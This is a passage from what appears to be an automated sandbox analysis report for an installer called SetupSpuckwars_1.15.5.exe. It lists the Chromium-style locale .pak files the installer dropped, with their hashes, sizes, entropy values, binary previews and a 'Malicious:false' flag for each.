                                                                                                                  Malicious:false
                                                                                                                  Preview:..........=.h.h...i.q...j.}...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}. .....(.....-.....5.....=.....E.....L.....S.....Z.....[.....\.....^...........................................................'.....>.....@.....D.....p...........................................................(.....H.....b.....g.....o.........................................#.....9.....N.....T.....W.....].....t...................................@.....P.....V.....^.....e.....x...............................................&.....2.....a.................................................................1.....I....._.....f.....i.....j.....s.....|.............................0.....t.....|.......................3.....B.....\.....m.....x.........................................*.....I............................................. .....".....%.(...(.A...*.]...+.`...,.~........./.....0.....1.....3.....4.3...5.V...6.....7.....8.....9.....;.....<.....=.....>.!...?.+...@.@...A.s...C.....D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\es.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):404348
                                                                                                                  Entropy (8bit):5.362527979144936
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:/Q0DA42b4XUx+SCHgfUcp9Ch48BKjbu5mrj7o2oxjm6PZqJ:YK2b40P9pchXgjbu5mrroNSJ
                                                                                                                  MD5:04A9BA7316DC81766098E238A667DE87
                                                                                                                  SHA1:24D7EB4388ECDFECADA59C6A791C754181D114DE
                                                                                                                  SHA-256:7FA148369C64BC59C2832D617357879B095357FE970BAB9E0042175C9BA7CB03
                                                                                                                  SHA-512:650856B6187DF41A50F9BED29681C19B4502DE6AF8177B47BAD0BF12E86A25E92AA728311310C28041A18E4D9F48EF66D5AD5D977B6662C44B49BFD1DA84522B
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........J.h.N...i.V...j.b...k.q...l.|...n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................".....*.....1.....8.....?.....@.....A.....C.....r...........................................................2.....4.....8.....`.................................................................:.....T.....Y.....a.....s...............................................&.....,...../.....5.....L.....k............................. .....0.....6.....>.....E.....X.....e.....v...............................................F.....m.....x.................................................................B.....I.....L.....M.....V....._.....h.....o.......................k.....s.......................).....8.....R.....c.....n.....z.........................................2.....f....................................... .....".....%.....(.!...*.@...+.C...,.a.....{.../.....0.....1.....3.....4.....5."...6.n...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.B...C.i...D.s.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\et.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):365447
                                                                                                                  Entropy (8bit):5.471951090286899
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:U/RGRpph+2n4x6i05L9H4h+JbT/R/WiMMn5bjN43qcLQ6PQX:8R6pHnpcmzn5bjh
                                                                                                                  MD5:CCC71F88984A7788C8D01ADD2252D019
                                                                                                                  SHA1:6A87752EAC3044792A93599428F31D25DEBEA369
                                                                                                                  SHA-256:D69489A723B304E305CB1767E6C8DA5D5D1D237E50F6DDC76E941DCB01684944
                                                                                                                  SHA-512:D35CCD639F2C199862E178A9FAB768D7DB10D5A654BC3BC1FAB45D00CEB35A01119A5B4D199E2DB3C3576F512B108F4A1DF7FAF6624D961C0FC4BCA5AF5F0E07
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........8.h.r...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|. ...}.2.....:.....?.....G.....O.....W.....^.....e.....l.....m.....n.....p.....................................................+.....b.....x.....z.....~.....................................................3.....C.....U.....k.....x.....~................................................................. .....#.....*.....>.....Q.....c.....|.................................................................(.....3.....?.....f.....s.....................................................1.....4.....D.....T.....c.....x.......................................................................S...................................5.....A.....L.....P.....Z....._.....b.....r...................................3.....M.....R.....Z.....l............... .....".....%.....(.....*.....+.....,.<.....V.../.n...0.{...1.....3.....4.....5.....6.....7.5...8.N...9.a...;.t...<.....=.....>.....?.....@.....A.....C.....D.%.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\fa.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):591476
                                                                                                                  Entropy (8bit):5.080621083768775
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:HniDys0XVX9nuyaXTfwIDwNUWGOGfStQvjy1feKtDmrwMTAKzIxRAQiHedNu36Xp:HneM3uyaXTfwewNUWGOGfStQvjy1feKn
                                                                                                                  MD5:2E37FD4E23A1707A1ECCEA3264508DFF
                                                                                                                  SHA1:E00E58ED06584B19B18E9D28B1D52DBFC36D70F3
                                                                                                                  SHA-256:B9EE861E1BDECFFE6A197067905279EA77C180844A793F882C42F2B70541E25E
                                                                                                                  SHA-512:7C467F434EB0CE8E4A851761AE9BD7A9E292AAB48E8E653E996F8CA598D0EB5E07EC34E2B23E544F3B38439DC3B8E3F7A0DFD6A8E28169AA95CEFF42BF534366
                                                                                                                  Malicious:false
                                                                                                                  Preview:........^...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.;...y.A...z.P...|.V...}.h.....p.....u.....}...........................................................'.....Q.....`.....i...................................".....*.....R.....u.........................................Q.....y.........................................(...........................................................K.....l.......................,....._.....z..........................................................._.....v.............................K.....g.....v.........................................(.....I.....a.....~.....................................................F........... .....3.......................*.....B.....c.....k.....~...................................X.....~.................#.....-.....3.....M.....{......... .....".....%.....(.....*.\...+._...,.}........./.....0.....1.....3.....4._...5.....6.....7.)...8.b...9.{...;.....<.....=.....>.....?.....@.....A.E...C.....D.....E...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\fi.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):374471
                                                                                                                  Entropy (8bit):5.4357475905490436
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:sMeOXrZx5SkDbhCwx+sk/bOE/BanTLLE5lJucHcEJ18OWUczfSUWcX1wR2:snAr15wRBaA5lJxHcEJ18OWUII2
                                                                                                                  MD5:21E534869B90411B4F9EA9120FFB71C8
                                                                                                                  SHA1:CC91FFBD19157189E44172392B2752C5F73984C5
                                                                                                                  SHA-256:2D337924139FFE77804D2742EDA8E58D4E548E65349F827840368E43D567810B
                                                                                                                  SHA-512:3CA3C0ADAF743F92277452B7BD82DB4CF3F347DE5568A20379D8C9364FF122713BEFD547FBD3096505EC293AE6771ADA4CD3DADAC93CC686129B9E5AACF363BD
                                                                                                                  Malicious:false
                                                                                                                  Preview:........k...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.0...t.9...v.N...w.[...y.a...z.p...|.v...}...........................................................................................)...../.....8.....U.....\.....l.........................................".....'.....5.....?.....N.....Z........................................................... .....-.....5.....<.....N.....f.....j.....t.....z.........................................7.....A.....F.....N.....U.....a.....n.....{.............................................../.....Q.....Y.....i.....u......................................................................................... .....'.....6.............................b.....t...........................................................(.....D.....f.....}................................................... .....".2...%.^...(.{...*.....+.....,.........../.....0.....1.:...3.H...4.d...5.~...6.....7.....8.....9.....;.0...<.@...=.L...>.b...?.k...@.....A.....C.....D.....E...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\fil.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):419886
                                                                                                                  Entropy (8bit):5.213443304857257
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:BnI+f5Qm2xaVyEDQftIK9bSNxeFXGvZ3Omy5GzmHYFAk1s8:C+f541e+b4xy5ym8
                                                                                                                  MD5:D7DF2EA381F37D6C92E4F18290C6FFE0
                                                                                                                  SHA1:7CACF08455AA7D68259FCBA647EE3D9AE4C7C5E4
                                                                                                                  SHA-256:DB4A63FA0D5B2BABA71D4BA0923CAED540099DB6B1D024A0D48C3BE10C9EED5A
                                                                                                                  SHA-512:96FC028455F1CEA067B3A3DD99D88A19A271144D73DFF352A3E08B57338E513500925787F33495CD744FE4122DFF2D2EE56E60932FC02E04FEED2EC1E0C3533F
                                                                                                                  Malicious:false
                                                                                                                  Preview:............h.....i.....j.....k.-...l.8...n.@...o.E...p.R...r.X...s.i...t.r...v.....w.....y.....z.....|.....}.........................................................................).....6.....K.....a.....h.....q.....................................................'.....D.....J.....[.....q.....{...............................................#.....5.....N.....d...........................................................$.....8.....Q.....v.................................................................,.....7.....W.........................................4.....D.....R.....`.....u...............................................-.....4.....7.....8.....B.....L.....V.....a.....j.....{.................T.....\........................................."...../.....9.....?.....X.....~.............................C.....b.....i.....t..................... .....".....%.....(.....*.5...+.8...,.V.....n.../.....0.....1.....3.....4.....5.....6.I...7._...8.{...9.....;.....<.....=.....>.....?.....@.....A.*.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\fr.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):436450
                                                                                                                  Entropy (8bit):5.4004782148030905
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:LKi1uIt6QuagV1ZzosmZ7MYnYV1S3Bb5MxlqE0wC5wZLljHnkH0oR5FEu64JGV7h:qVVQ515CF
                                                                                                                  MD5:3EE48A860ECF45BAFA63C9284DFD63E2
                                                                                                                  SHA1:1CB51D14964F4DCED8DEA883BF9C4B84A78F8EB6
                                                                                                                  SHA-256:1923E0EDF1EF6935A4A718E3E2FC9A0A541EA0B4F3B27553802308F9FD4FC807
                                                                                                                  SHA-512:EB6105FACA13C191FEF0C51C651A406B1DA66326BB5705615770135D834E58DEE9BED82AA36F2DFB0FE020E695C192C224EC76BB5C21A1C716E5F26DFE02F763
                                                                                                                  Malicious:false
                                                                                                                  Preview:.........._.h.$...i.5...j.A...k.P...l.[...n.c...o.h...p.u...r.{...s.....t.....v.....w.....y.....z.....|.....}............................................................. .....".....G.....W.....e.....w...........................................................+.....>.....\.....c.....q.........................................#.....?.....A.....T.....h.....t...........................................................+.....=.....N.....r...........................................................(.....G.....O....._.........................................H.....Z.....d.....q.....................................................!.....(.....+.....,.....4.....<.....E.....L....._.................#.....*.....j...........................................................#.....H.....d.......................2.....I.....P.....Y.....j............... .....".....%.....(.....*.....+.....,.-.....D.../.i...0.w...1.....3.....4.....5.....6.Q...7.b...8.z...9.....;.....<.....=.....>.....?.....@.....A.G...C.n...D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\gu.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):832533
                                                                                                                  Entropy (8bit):4.370164270379204
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:RqlNvTn1Pdm06M0ITsKMaWZKerbtsMhmksd4Mqz2sQmB51jvjsWnhAgfZw/g/I/f:RuN7n1VQFLFwsL5cqhgrA8
                                                                                                                  MD5:308619D65B677D99F48B74CCFE060567
                                                                                                                  SHA1:9F834DF93FD48F4FB4CA30C4058E23288CF7D35E
                                                                                                                  SHA-256:E40EE4F24839F9E20B48D057BF3216BC58542C2E27CB40B9D2F3F8A1EA5BFBB4
                                                                                                                  SHA-512:3CA84AD71F00B9F7CC61F3906C51B263F18453FCE11EC6C7F9EDFE2C7D215E3550C336E892BD240A68A6815AF599CC20D60203294F14ADB133145CA01FE4608F
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........T.h.:...i.T...j.`...k.o...l.z...n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}......................... .....(...../.....6.....=.....>.....?.....D.......................0.....E.....[.......................+.....c.....e.....q.......................8.....p...................................Q...................................<.....X.................%.....>.....c...................................*.....U.......................w...............................................g.....v.......................Q.................D.............................%.....O.....R.....r.............................+.....2.....5.....7.....P.....i.......................H...........\.....~...........S.................%.....E.....N.....o.....{.......................O.................;.......................*.....M.....o......... .....".....%.....(.Y...*.....+.....,.........../.1...0.Y...1.....3.....4.....5.;...6.....7.....8.,...9.T...;.....<.....=.....>.....?.....@.0...A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\he.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):519468
                                                                                                                  Entropy (8bit):4.6902065244805256
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:iDIJk5rUp/mTLa2/ANNqOL607Af6XVjeQCapb1527oFpMbe54lmdADnwg5Qgx:7205KoM
                                                                                                                  MD5:FC84EA7DC7B9408D1EEA11BEEB72B296
                                                                                                                  SHA1:DE9118194952C2D9F614F8E0868FB273DDFAC255
                                                                                                                  SHA-256:15951767DAFA7BDBEDAC803D842686820DE9C6DF478416F34C476209B19D2D8C
                                                                                                                  SHA-512:49D13976DDDB6A58C6FDCD9588E243D705D99DC1325C1D9E411A1D68D8EE47314DFCB661D36E2C4963C249A1542F95715F658427810AFCABDF9253AA27EB3B24
                                                                                                                  Malicious:false
                                                                                                                  Preview:........|.|.h.....i.....j.....k.....l.!...n.)...o.....p.;...r.A...s.R...t.[...v.p...w.}...y.....z.....|.....}.........................................................................8.....O.....h............................................... .....".....&.....N.....j.........................................B.....[.....p...............................................G.....o.....w...............................................).....E.....y.............................$.....,.....3.....?.....V.....r...................................!.....D.....h...................................7.....W.....Z.....m............................................................................./.................e.....o.......................E.....X.....p.....v.........................................@.....Z...................................#.....J.....U... .g...".....%.....(.....*.....+.....,.......#.../.C...0.P...1.....3.....4.....5.....6.9...7.R...8.g...9.{...;.....<.....=.....>.....?.....@.....A.x...C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\hi.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):868673
                                                                                                                  Entropy (8bit):4.359937106090665
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:FugBVdK+X9c+XdfdkhSvf4QAEm5dmGrsUt3GR3GXO7NLdYnLsBPtv83ctKOf4z8d:cuVAsc+NZB5/5MNSD
                                                                                                                  MD5:B5DFCE8E3BA0AEC2721CC1692B0AD698
                                                                                                                  SHA1:C5D6FA21A9BA3D526F3E998E3F627AFB8D1EECF3
                                                                                                                  SHA-256:B1C7FB6909C8A416B513D6DE21EEA0B5A6B13C7F0A94CABD0D9154B5834A5E8B
                                                                                                                  SHA-512:FACF0A9B81AF6BB35D0FC5E69809D5C986A2C91A166E507784BDAD115644B96697FE504B8D70D9BBB06F0C558F746C085D37E385EEF41F0A1C29729D3D97980F
                                                                                                                  Malicious:false
                                                                                                                  Preview:........y...h.....i.....j.....k.....l.....n.#...o.(...p.5...r.;...s.L...t.U...v.j...w.w...y.}...z.....|.....}.........................................................................t...................................A.....d.....~.............................4.....c...................................d.......................l...................................J........... .....9.....H.....p...................................P.......................g.........................................+.....K.......................P.....u.......................l.......................9.....b...................................C.....m...............................................#.....D.................&.....<.................N.................................../.....A.....s...........................................................*.....R.....q... .....".....%.....(.6...*.s...+.v...,.........../.....0.5...1.....3.....4.....5.@...6.....7.....8.:...9._...;.....<.....=.....>.....?.....@.8...A.|...C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\hr.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):406671
                                                                                                                  Entropy (8bit):5.521226257186607
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:z9mYpq0ZkIEZgVRTJ3MOS+WG0uPXbG4TT6WI6DkYAiKbeM/wXbnWNjdmvW0IEifp:zTEgNmW/5tE7IDjG
                                                                                                                  MD5:255F808210DBF995446D10FF436E0946
                                                                                                                  SHA1:1785D3293595F0B13648FB28AEC6936C48EA3111
                                                                                                                  SHA-256:4DF972B7F6D81AA7BDC39E2441310A37F746AE5015146B4E434A878D1244375B
                                                                                                                  SHA-512:8B1A4D487B0782055717B718D58CD21E815B874E2686CDFD2087876B70AE75F9182F783C70BF747CF4CA17A3AFC68517A9DB4C99449FA09BEF658B5E68087F2A
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........<.h.j...i.{...j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.*.....2.....7.....?.....G.....O.....V.....].....d.....e.....f.....h...........................................................:.....K.....M.....Q.....y...........................................................-.....D.....T.....Z.....b.....p.......................................................................&.....8.....H.....].....z...........................................................&.....1.....H.....................................................'.....2.....F.....g.....j.....z...................................................................................`.......................;.....W.....p.....................................................6.....N............................................... .....B.....M... .W...".h...%.....(.....*.....+.....,.........../.....0.....1.O...3.a...4.~...5.....6.....7.....8.....9.0...;.>...<.K...=.W...>.l...?.u...@.....A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\hu.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):437458
                                                                                                                  Entropy (8bit):5.655020135928055
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:wxEAuskhSSfm4Cky1tV5z8iZfGRzEY63aQSam7gXOeeeQi5gR7azQtGV52n5ydpS:wxLaj6V5z850+7BwQi5Rn6Z
                                                                                                                  MD5:2AA0A175DF21583A68176742400C6508
                                                                                                                  SHA1:3C25BA31C2B698E0C88E7D01B2CC241F0916E79A
                                                                                                                  SHA-256:B59F932DF822AB1A87E8AAB4BBB7C549DB15899F259F4C50AE28F8D8C7CE1E72
                                                                                                                  SHA-512:03A16FEB0601407E96BCB43AF9BDB21E5218C2700C9F3CFD5F9690D0B4528F9DC17E4CC690D8C9132D4E0B26D7FAAFD90AA3F5E57237E06FB81AAB7AB77F6C03
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........j.h.....i.....j.)...k.8...l.C...n.K...o.P...p.]...r.c...s.t...t.}...v.....w.....y.....z.....|.....}.........................................................................L.....\.....r...............................................,...........2.....Z.....y.....................................................-.....X.....p.....u.....{.........................................!.....9.....X.....\....._.....m...................................@.....c.................................................................7.....B.....Z.....h.....................................................,.....A.....[.....{.................................................................q...........5.....;...................................#.....+.....9.....A.....G.....^.............................>.....u....................................... .....".....%.5...(.R...*.x...+.{...,.........../.....0.....1.....3.....4.6...5.X...6.....7.....8.....9.....;.....<.....=.....>.(...?.5...@.H...A.p...C.....D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\id.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):359190
                                                                                                                  Entropy (8bit):5.384547702191974
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:UINLZJl/dv1DR9S2fjDVnjHFfRmP2x1r856Rh1vtTtSLsEar:Nf7PDuAVnjHFpm+xh856RhP
                                                                                                                  MD5:B6FCD5160A3A1AE1F65B0540347A13F2
                                                                                                                  SHA1:4CF37346318EFB67908BBA7380DBAD30229C4D3D
                                                                                                                  SHA-256:7FD715914E3B0CF2048D4429F3236E0660D5BD5E61623C8FEF9B8E474C2AC313
                                                                                                                  SHA-512:A8B4A96E8F9A528B2DF3BD1251B72AB14FECCF491DD254A7C6ECBA831DFABA328ADB0FD0B4ACDDB89584F58F94B123E97CAA420F9D7B34131CC51BDBDBF3ED73
                                                                                                                  Malicious:false
                                                                                                                  Preview:.........._.h.$...i.5...j.A...k.P...l.[...n.c...o.h...p.u...r.{...s.....t.....v.....w.....y.....z.....|.....}............................................................. .....".....E.....S.....`.....p.....w.................................................................3.....;.....I.....Y.....a.....n.................................................................;.....P.....W.....^.....p.....}...........................................................0.....>.....C.....K.....R.....W.....a.....l...............................................$.....R.....x.................................................................'.....8.....?.....B.....C.....K.....S.....[.....c.....i.....u.............................@.....Q.....a.................................................................%.....:.....T............................................. .....".....%.....(.+...*.D...+.G...,.e.....u.../.....0.....1.....3.....4.....5.....6.5...7.H...8.\...9.i...;.w...<.....=.....>.....?.....@.....A...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\it.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):397402
                                                                                                                  Entropy (8bit):5.301296912236702
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:n9BKi2azctogSrqRrhsO11GT9TeLAG3XRU2gY7OfLwH+WcMgB8HryeuRNBPJX9SO:n9FTnzZY28+2vx+0e55zoI
                                                                                                                  MD5:745F16CA860EE751F70517C299C4AB0E
                                                                                                                  SHA1:54D933AD839C961DD63A47C92A5B935EEF208119
                                                                                                                  SHA-256:10E65F42CE01BA19EBF4B074E8B2456213234482EADF443DFAD6105FAF6CDE4C
                                                                                                                  SHA-512:238343D6C80B82AE900F5ABF4347E542C9EA016D75FB787B93E41E3C9C471AB33F6B4584387E5EE76950424E25486DD74B9901E7F72876960C0916C8B9CEE9A6
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........Q.h.@...i.Q...j.]...k.l...l.w...n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................%.....,.....3.....:.....;.....<.....>.....i.....|.......................................................................C.....V.....w.....~.....................................................*...........C.....Y.....o.................................................................0.....D.....f.................................................................*.....2.....@.....v............................................... .....,.....?.....T.....W.....k...................................................................................b.......................:.....O.....d.................................................................K.....k................................................... .....".$...%.H...(.`...*.|...+.....,.........../.....0.....1.....3.(...4.H...5.f...6.....7.....8.....9.....;.....<.....=. ...>.K...?.V...@.g...A.....C.....D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\ja.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):484003
                                                                                                                  Entropy (8bit):5.752575429591325
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:fznG4qRo+yixrD1r04XURrRpZd2hy/NPNQPkwRI6dIKhUNH7bbeCsy5SWbaabF/G:fzGBRo+911WlRpZd2yNp6k5AYxVk
                                                                                                                  MD5:38CD3EF9B7DFF9EFBBE086FA39541333
                                                                                                                  SHA1:321EF69A298D2F9830C14140B0B3B0B50BD95CB0
                                                                                                                  SHA-256:D8FAB5714DAFECB89B3E5FCE4C4D75D2B72893E685E148E9B60F7C096E5B3337
                                                                                                                  SHA-512:40785871032B222A758F29E0C6EC696FBE0F6F5F3274CC80085961621BEC68D7E0FB47C764649C4DD0C27C6EE02460407775FAE9D3A2A8A59362D25A39266CE0
                                                                                                                  Malicious:false
                                                                                                                  Preview:............h.....i.....j.....k.....l.....m.....o.1...p.>...v.D...w.Q...y.W...z.f...|.l...}.~.........................................................................................3.....Q.....r.....x.............................(.....I.....K.....O.....w.........................................#.....J.....Z.....u..............................................._...........................................................9.....c.......................#.....3.....<.....D.....K.....T.....i.....y.............................B.....c................................... .....D.....G.....V.....q.....................................................$.....1.....D.................z.......................&.....Y.....h.....................................................7.....O...................................#.....C.....I... .R...".d...%.....(.....*.....+.....,.......J.../.h...0.q...1.....3.....4.....5.....6.g...7.....8.....9.....;.....<.....=.....>.:...?.D...@.Y...A.....C.....D.....E.....F.0...G.Z.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\kn.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):960888
                                                                                                                  Entropy (8bit):4.2704203524429865
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:P8nyRnHoS7yB/rt2o6i7u7b5frUb+7G+Vma:ti6X5jUA
                                                                                                                  MD5:CAAB4DEB1C40507848F9610D849834CF
                                                                                                                  SHA1:1BC87FF70817BA1E1FDD1B5CB961213418680CBE
                                                                                                                  SHA-256:7A34483E6272F9B8881F0F5A725B477540166561C75B9E7AB627815D4BE1A8A4
                                                                                                                  SHA-512:DC4B63E5A037479BB831B0771AEC0FE6EB016723BCD920B41AB87EF11505626632877073CE4E5E0755510FE19BA134A7B5899332ECEF854008B15639F915860C
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........7.h.t...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|."...}.4.....<.....A.....I.....Q.....Y.....`.....g.....n.....o.....p.....u...........>.....u.......................F.....g.....y...........<.....>.....J.....r.......................^.......................e.................1.....n.....................................................1.....l.....{.....~.................,.....l...........*.................-.....E.....M.....T.....f.............................I.......................S.................d.............................`.....c.......................E...............................................#.....6.....`.................".....=.................(...............................................@.............................".......................(.....h............... ....."."...%.....(.....*.....+.....,.;.....l.../.....0.....1.U...3.o...4.....5.....6.....7.....8.....9.V...;.....<.....=.....>.....?.....@.G...A.....C.....D.=.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\ko.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):407632
                                                                                                                  Entropy (8bit):6.124197697056213
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:Md9PhJeKVoCGet8Oh2J7klCqZ5T7BKI8LtCq7hUoqAX:Md91UJc5184AX
                                                                                                                  MD5:D6194FC52E962534B360558061DE2A25
                                                                                                                  SHA1:98ED833F8C4BEAC685E55317C452249579610FF8
                                                                                                                  SHA-256:1A5884BD6665B2F404B7328DE013522EE7C41130E57A53038FC991EC38290D21
                                                                                                                  SHA-512:5207A07426C6CEB78F0504613B6D2B8DADF9F31378E67A61091F16D72287ADBC7768D1B7F2A923369197E732426D15A872C091CF88680686581D48A7F94988AB
                                                                                                                  Malicious:false
                                                                                                                  Preview:............h.....i.....j.....k.....l.....m.....o.....p.....r.....s.-...t.6...y.K...z.Z...|.`...}.r.....z.........................................................................................7.....D.....^.....k.....s.........................................3.....?.....L.....\.....c.....}.................................................................d.....z.................................................................%.....F.....j.......................................................................`.....v.............................*.....6.....L.....Y.....n.........................................................................................x...........D.....M.............................#.....6.....9.....L.....R.....[.....r...................................^.....n.....w.....}..................... .....".....%.....(.....*.M...+.P...,.........../.....0.....1.....3.....4.5...5.]...6.....7.....8.....9.....;.....<.....=.....>.....?./...@.C...A.q...C.....D.....E.....F.....G...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\lt.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):439793
                                                                                                                  Entropy (8bit):5.6365541871793114
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:zXtEPi5jFX4VU4EzsnHIOBoU+1Qi7t5GkzvLdyaj+teJvxY2I96Su:CEmguHLBoUnU5TzvLWeJJG6Su
                                                                                                                  MD5:64B08FFC40A605FE74ECC24C3024EE3B
                                                                                                                  SHA1:516296E8A3114DDBF77601A11FAF4326A47975AB
                                                                                                                  SHA-256:8A5D6E29833374E0F74FD7070C1B20856CB6B42ED30D18A5F17E6C2E4A8D783E
                                                                                                                  SHA-512:05D207413186AC2B87A59681EFE4FDF9DC600D0F3E8327E7B9802A42306D80D0DDD9EE07D103B17CAF0518E42AB25B7CA9DA4713941ABC7BCED65961671164AC
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........S.h.<...i.M...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....:.....h.....v...............................................&.....7.....9.....=.....e.....................................................(.....7.....Q.....f.....m.....v.....................................................6.....A.....L.....V.....l............................. .....G.....e.....n.....v.....}...............................................).....4.....K.....]................................................................./.....G.....^.....x...........................................................Y....................... .....A.....w...............................................*.....>.....r...............................................L.....Y... .n...".~...%.....(.....*.....+.....,.......6.../.Q...0.T...1.....3.....4.....5.....6.-...7.P...8.p...9.....;.....<.....=.....>.....?.....@.....A.I...C.j.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\lv.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
